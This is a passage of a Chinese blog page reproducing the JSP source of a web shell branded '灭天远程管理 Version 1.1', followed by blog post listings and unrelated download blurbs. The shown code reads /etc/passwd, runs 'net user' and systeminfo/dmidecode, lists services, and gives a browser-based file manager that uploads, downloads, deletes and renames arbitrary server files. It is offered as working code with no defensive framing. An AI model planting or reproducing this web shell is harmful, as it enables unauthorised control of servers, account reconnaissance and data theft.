out.print("状态 :"+STATE_TYPE[state]+" ");
out.print("启动类型:"+START_TYPE[start]+" ");
out.print("路径 :"+path.replaceAll("\"",""")+" ");
out.print("登录为 :"+login+"\">");
if (title!=null&&title.length() > 30)
{
title = title.substring(0, 27) + "...";
}
if (desc!=null&&desc.length() > 20)
{
desc = desc.substring(0, 17) + "...";
}
out.print("<td><input type='checkbox' name='ps' value=\"" + sname + "\">");
out.print("<td>");
if(path!=null)
{
int j=path.indexOf(" ");
if(j!=-1)path=path.substring(0,j);
out.print("<img src='?mt=file.ext&p="+URLEncoder.encode(path,"UTF-8")+"' class='I'>");
}
out.print(title);
out.print("<td>"+desc);
out.print("<td>"+STATE_TYPE[state]);
out.print("<td>"+START_TYPE[start]);
out.print("<td>"+login+"\n");
}
}
out.print("</table>");
}else if("user".equals(mt4))
{
out.print("<table>");
File fpwd = new File("/etc/passwd");
if (fpwd.exists())
{
byte by[] = new byte[ (int) fpwd.length()];
FileInputStream fis = new FileInputStream(fpwd);
fis.read(by);
fis.close();
String str = new String(by);
str = ("\n" + str.substring(0, str.length() - 1)).replaceAll("\n", "<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td>").replaceAll(":", "<td>");
str = "<tr><th>用户名<th>口令<th>用户标识号<th>组标识号<th>注释性描述<th>主目录<th>登录Shell</tr>" + str;
out.print(str);
} else
{
out.print("<tr><th>用户名<th>全名<th>注释<th>用户的注释<th>国家(地区)代码<th>帐户启用<th>帐户到期<th>上次设置密码<th>密码到期<th>密码可更改<th>需要密码<th>用户可以更改密码<th>允许的工作站<th>登录脚本<th>用户配置文件<th>主目录<th>上次登录<th>可允许的登录小时数<th>本地组成员<th>全局组成员</tr>");
String str = exec("net user", null);
str = str.substring(str.indexOf("-\r\n") + 3);
String us[] = str.split(" +");
for (int i = 0; i < us.length - 1; i++)
{
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''>");
// out.print("<td>"+us[i]);
String s[] = exec("net user " + us[i], null).split("(\r\n)+");
for (int j = 0; j < s.length - 1; j++)
{
out.print("<td>"+s[j].substring(s[j].indexOf(' ') + 1));
}
}
}
out.print("</table>");
}else if("info".equals(mt4))
{
out.print("<pre>");
String str = exec(isLinux ? "dmidecode" : "systeminfo", null);
out.print(str);
out.print("</pre>");
}else
{
p=p.replaceAll("\\\\","/");
if(!p.endsWith("/"))p+="/";
%>
<input type="text" name="p" value="<%=p%>" onfocus="select();" style="position:absolute; width:400px; top:1px;">
<select id="pmenu" style="position:absolute; width:400px; top:1px; clip:rect(0 400 20 381)" onchange="form1.p.value=value;form1.submit();">
<%
File fs[]=!isLinux&&p.length()<2?File.listRoots():f.listFiles();
//排序
if(oby>1)
{
for(int i=0;i<fs.length;i++)
{
long ilm=fs[i].lastModified();
long ile=fs[i].length();
for(int j=i;j<fs.length;j++)
{
long jlm=fs[j].lastModified();
long jle=fs[j].length();
if(oby==4&&ilm>jlm||oby==2&&ile>jle)
{
File sw=fs[i];
fs[i]=fs[j];
fs[j]=sw;
ilm=jlm;
ile=jle;
}
}
}
}
out.print("<option value=\"/\">我的电脑");
File rfs[]=File.listRoots();
if(isLinux)
{
Matcher m=Pattern.compile(" (/[^\n]+)\n").matcher(exec("df",null));
ArrayList al=new ArrayList();
while(m.find())
{
al.add(new File(m.group(1)));
}
rfs=new File[al.size()];
al.toArray(rfs);
}
for(int i=0;i<rfs.length;i++)
{
String path=rfs[i].getPath().replaceAll("\\\\","/");
String name=!fsv.isFloppyDrive(rfs[i])&&rfs[i].exists()?fsv.getSystemDisplayName(rfs[i]):path;
out.print("<option value=\""+path+"\"> "+name);
if(p.length()>0&&p.startsWith(path))
{
int pindex=path.length();
while((pindex=p.indexOf("/",pindex+1))!=-1)
{
String str=p.substring(0,pindex+1);
String rps[]=str.split("/");
out.print("<option value=\""+str+"\">");
for(int j=0;j<rps.length;j++)out.print(" ");
out.print(rps[rps.length-1]);
}
}
}
String sps[]={"user.home","java.home","user.dir","real.path"};//sun.boot.library.path,"catalina.home"
for(int i=0;i<sps.length;i++)
{
String value;
switch(i)
{
case 3:
value=application.getRealPath("/");
break;
default:
value=System.getProperty(sps[i]);
}
out.print("<option value=\""+value+"\"> "+sps[i]+"</option>");
}
%>
</select>
<span style="width:400px"> </span>
<script type="">document.getElementById("pmenu").value=document.form1.p.value;</script>
<input type="submit" value="转到" onclick="form1.mt.disabled=form1.v.disabled=true;form1.method='get';"/><input type="button" id="cut" value="剪切" onclick="d('file.cut');"/><input type="button" id="copy" value="复制" onclick="d('file.copy');"/><input type="button" <%if(session.getAttribute("file.cut")==null&&session.getAttribute("file.copy")==null)out.print(" disabled ");%> value="粘贴" onclick="d('file.paste');"/><input type="button" id="del" value="删除" onclick="d('file.del');"/><input type="button" id="ren" value="改名" onclick="d('file.ren');"/><input type="button" id="unzip" value="解压" onclick="d('file.unzip')"/><input type="button" id="zip" value="压缩" onclick="d('file.zip')"/><input type="button" id="down" value="下载" onclick="d('file.down')"/><span><input type="file" name='upload' style="position:absolute;width:72px;filter:alpha(opacity=0)" onchange="d('file.upload');"><input type="button" id="upload" value="上传文件"></span><input type="button" id="mkdir" value="创建" onclick="d('file.mkdir')"/>
<table cellspacing="1">
<tr>
<th width="1"><input type="checkbox" onclick="s(checked)"/></th>
<th><a href="javascript:o(1)">名称</a></th>
<th align="right"><a href="javascript:o(2)">大小</a></th>
<th>类型</th>
<th><a href="javascript:o(4)">日期</a></th>
<th>属性</th>
</tr>
<%
if (fs == null)
{
out.print("<tr><td>目录不存在...</td></tr>");
}else
{
StringBuffer sb=new StringBuffer();
java.text.SimpleDateFormat sdf=new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm");
java.text.DecimalFormat df=new java.text.DecimalFormat("#,###.##");
for (int i = pos*100;i<pos*100+100&& i < fs.length; i++)
{
String pc=fs[i].getPath().replaceAll("\\\\","/");
String pu=URLEncoder.encode(pc,"UTF-8");
if(pu.equals("A%3A%2F"))continue;
String name,desc="--",time="",pro="";
if(!fs[i].exists())
{
name=pc;
}else
{
ShellFolder sf=ShellFolder.getShellFolder(fs[i]);
name=sf.getDisplayName();
desc=sf.getFolderType();
time=sdf.format(new java.util.Date(fs[i].lastModified()));
if (p.length()>2&&fs[i].isHidden())pro+=" H";
if (!fs[i].canWrite())pro+=" R";
}
if(name.endsWith(".lnk"))
{
fs[i]=getLnkpath(fs[i]);
}
if(fs[i].isDirectory())
{
out.print("<tr onmouseover=\"bgColor='#EAF1F9';\" onmouseout=\"bgColor='';\" >");
out.print("<td><input type=\"checkbox\" name=\"ps\" value=\""+pc+"\"/></td>");
out.print("<td class='t1'><a href=\"?p="+pu+"\">");
if(ver)out.print("<img src='?mt=file.ext&p="+pu+"' class='I"+pro+"' />");
out.print(name+"</a></td>");
out.print("<td class='t2'>");
if(p.length()<2)
{
//out.print(df.format(fs[i].getTotalSpace()/1024F/1024F/1024F)+" GB");
}else if(ver)
{
String son[]=fs[i].list();
out.print(son==null?-1:son.length);
}
out.print("<td>"+desc);
out.print("<td class='t4'>"+time);
out.print("<td>");
if(p.length()<2)
{
//out.print(df.format(fs[i].getUsableSpace()/1024F/1024F/1024F)+" GB");
}else
{
out.print(pro);
}
out.print("</td></tr>");
}else
{
sb.append("<tr onmouseover=bgColor='#EAF1F9'; onmouseout=bgColor='';>");
sb.append("<td><input type='checkbox' name='ps' value=\"").append(pc).append("\"/></td>");
sb.append("<td class='t1'><a href=\"?mt=file.dl&p=").append(pu).append("\">");
if(ver)sb.append("<img src='?mt=file.ext&p=").append(pu).append("' class='I").append(pro).append("' />");
sb.append(name).append("</a></td>");
sb.append("<td class='t2'>").append(df.format(fs[i].length()/1024F)).append(" KB</td>");
sb.append("<td>").append(desc);
sb.append("<td class='t4'>").append(time).append("</td>");
sb.append("<td>").append(pro).append("</td></tr>");
}
}
out.print(sb.toString());
if(fs.length>100)
{
String pu=URLEncoder.encode(p,"UTF-8");
out.print("<tr><td colspan='2'>共"+fs.length+"对象<td colspan='4' align='right'>");
if(pos>0)
{
out.print("<a href='?p="+pu+"'><font face='webdings'>9</font></a> <a href='?p="+pu+"&pos="+(pos-1)+"'><font face='webdings'>3</font></a> ");
}
int len=fs.length/100;
if(fs.length%100!=0)len++;
for(int i=0;i<len;i++)
{
if(i!=pos)
{
out.print("<a href='?p="+pu+"&pos="+i+"'>");
}
out.print(i+"</a> ");
}
if(pos<len-1)
{
out.print("<a href='?p="+pu+"&pos="+(pos+1)+"'><font face='webdings'>4</font></a> <a href='?p="+pu+"&pos="+(len-1)+"'><font face='webdings'>:</font></a>");
}
}
}
%>
</table>
<%
}
}
%>
</form>
<table align="center" style="width:500px">
<tr>
<td align="right">Copyright ©2008</td>
<td>Powered By <a href="http://www.mietian.net/" target="_blank">灭天远程管理 Version 1.1</a>
</td>
</tr>
</table>
</body>
</html>
发表评论
-
正则表达式按条件分组
2012-08-23 12:29 1001有一个字符串:A63=[174001,1级],B63=[174 ... -
JAAS 术语
2011-05-16 14:30 1292Users A user, or enterprise ... -
JNA 闪烁 JFrame
2010-12-16 16:48 1861下面是代码,附件是二个jar文件 /* * To ch ... -
Array ArrayList LinkList Vector 执行速度比较
2010-09-26 21:11 1218类型 java 数组 ArrayList Linke ... -
netbean JNI 问题解决.
2010-07-23 20:07 1181我最近研究java JNI,环境:netbean6.8+cyg ... -
java 将字符串写入图片
2009-12-29 19:55 2088看新浪收费小说,防止 ... -
java socket 发送http请求webservice.
2009-08-17 15:07 6268下面这几行代码花了我近二天的时候搞定的,还是有点小的BUG,这 ... -
java 小测试
2009-02-14 16:27 899写一个小小的工具类,根据bean的定义,从JDBC返回的Re ...
相关推荐
Java是一种广泛应用于各种领域的编程语言,被誉为“好东西”是有其充分理由的。它由Sun Microsystems(现为Oracle Corporation的一部分)于1995年推出,设计初衷是为了解决C++在当时面临的复杂性和效率问题。Java的...
描述中的“真正的java好东西,分三份发布到网上,占空间太多!”表明这个压缩包可能非常庞大,内容丰富,以至于超过了上传或分享的常规限制,因此被分割成了三个部分。 在标签中,".exe"和".rar"揭示了文件的格式。...
根据给定文件的信息,我们可以提炼出以下几个相关的IT知识点: ### 1. Java 技术在毕业设计中的应用 #### 知识点概述: Java是一种广泛使用的面向...通过这些知识点的学习,相信能够帮助学生更好地完成毕业设计项目。
以上是对JavaGoodies项目可能包含内容的一些概述,实际的JavaGoodies-master压缩包中会包含具体实现的源代码和文档,通过阅读和学习这些代码,开发者可以深入理解Java语言的特性和最佳实践,并将这些“好东西”应用...
java课件,这是个好东西呀。里面的课件内容很全。如果需要的话,联系我,我可以给全部的。
非常好的java例子非常好的java例子非常好的java例子非常好的java例子非常好的java例子非常好的java例子
Java是一种广泛使用的面向对象的编程语言,以其跨平台、高性能和强大的库支持而闻名。这份“java超强笔记”显然是为了帮助初学者系统地理解和掌握Java的基本语法。在学习Java时,掌握基本语法是至关重要的,因为它是...
Java是一种广泛使用的编程语言,主要用于开发桌面应用、服务器端应用以及移动应用。它以其“一次编写,到处运行”的特性著称,因为Java程序可以在任何支持Java的平台上运行,无需重新编译。Java的学习涵盖了许多方面...
好的很 java环境 不用多介绍了 还要大于20个字 我也没法形容这个就是这么的好好好好好好
"Java实例开发 合适java初学者 好东西"这一标题表明,这个压缩包文件包含了一些针对初级Java程序员的实践项目或代码示例,目的是帮助他们更好地理解和应用Java编程概念。 描述中的“好东西”进一步强调了这些资源的...
Java内部类是Java语言中一个独特且强大的特性,它允许在一个类的定义内部定义另一个类。内部类可以访问外部类的所有成员,包括私有成员,这使得内部类在实现某些特定设计模式时非常有用。本篇文章将深入探讨Java内部...
Java聊天程序是一个基于Java编程语言实现的交互式通信软件,它允许用户通过网络进行实时的文字、语音甚至视频交流。在Java中开发聊天程序涉及到多个关键知识点,这些知识点构成了程序的基础架构和功能实现。 首先,...
JAVA编程百例 本光盘实例按照实例顺序存放,即:实例1、实例2……。读者能很方便的查找到所需的实例。 各实例目录下会有一个关于实例运行的简单说明文件:readme.txt。有些目录没有这个文件, 是说明在运行这实例时...
Java开发文档是程序员日常工作中不可或缺的参考资料,涵盖了各种框架、工具和编程思想的精髓。这里提供的压缩包包含三份极具价值的文档:《Struts 2 实战》、Eclipse 使用指南以及《Java编程思想》第四版。这些书籍...
根据给定的文件信息,我们可以提炼出以下与IT行业,特别是与Java开发及面试准备相关的知识点: ### 1. 面试准备的重要性 在IT行业中,尤其是针对计算机科学或软件工程领域的求职者,面试准备是至关重要的。面试...
好东西大家分享——JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看JAVA连连看
下面将详细讨论这些知识点,以帮助你更好地理解和准备Java相关的笔试和面试。 1. **super()与this()的区别** - `super()`用于调用父类的构造器,确保父类的初始化在子类构造器之前完成。 - `this()`同样用于调用...
绝对的好东西! 里面有许多注释.应该能看懂. 关于原理.博客上有详细介绍.http://blog.csdn.net/xinrui5577/archive/2009/09/16/4560590.aspx 需要更新请到http://code.google.com/p/warpuber/ 这是这个软件的...
很有用的java资料 值得收藏的好东西很有用的java资料 值得收藏的好东西很有用的java资料 值得收藏的好东西很有用的java资料 值得收藏的好东西
### Java技术新手入门知识点详解 #### 一、Java技术概览 - **定义与特性**:Java技术是一种高级面向对象的编程语言,同时也是一种...同时,利用IBM等提供的资源和工具也能加速学习进程,更好地应对实际工作中的挑战。